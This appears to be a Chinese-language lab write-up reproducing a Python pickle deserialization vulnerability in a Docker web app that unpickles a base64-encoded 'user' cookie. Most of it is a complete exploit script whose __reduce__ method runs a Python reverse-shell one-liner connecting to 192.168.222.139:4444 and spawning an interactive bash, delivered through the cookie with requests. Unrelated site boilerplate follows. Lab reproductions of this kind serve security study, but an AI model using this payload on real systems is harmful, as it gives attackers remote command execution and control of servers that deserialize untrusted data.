漏洞介绍:

在Python中,反序列化(unpickling)是一种将序列化的对象数据重新转换为Python对象的过程。如果处理不当,这种机制可以成为安全隐患,尤其是在涉及到不安全的数据来源时。最典型的例子是反序列化漏洞,特别是在处理pickle模块时。

复现环境:

在docker环境中进行复现

docker-compose up -d

1、创建docker环境

2、访问http://127.0.0.1:8000,显示Hello {username}!。username是取Cookie变量user,对其进行base64解码+反序列化后还原的对象中的“username”变量,默认为“Guest”,伪代码:pickle_decode(base64_decode(cookie['user']))['username'] or 'Guest'。

exp内容如下:

#!/usr/bin/env python3
import requests
import pickle
import os
import base64


class exp(object):
    def __reduce__(self):
        s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.222.139",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
        return (os.system, (s,))


e = exp()
s = pickle.dumps(e)

response = requests.get("http://127.0.0.1:8000/", cookies=dict(user=base64.b64encode(s).decode()))
print(response.content)
3、这里IP为docker环境所在主机的IP,进行反弹shell拿到权限(需要更改反弹shell中的IP)

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐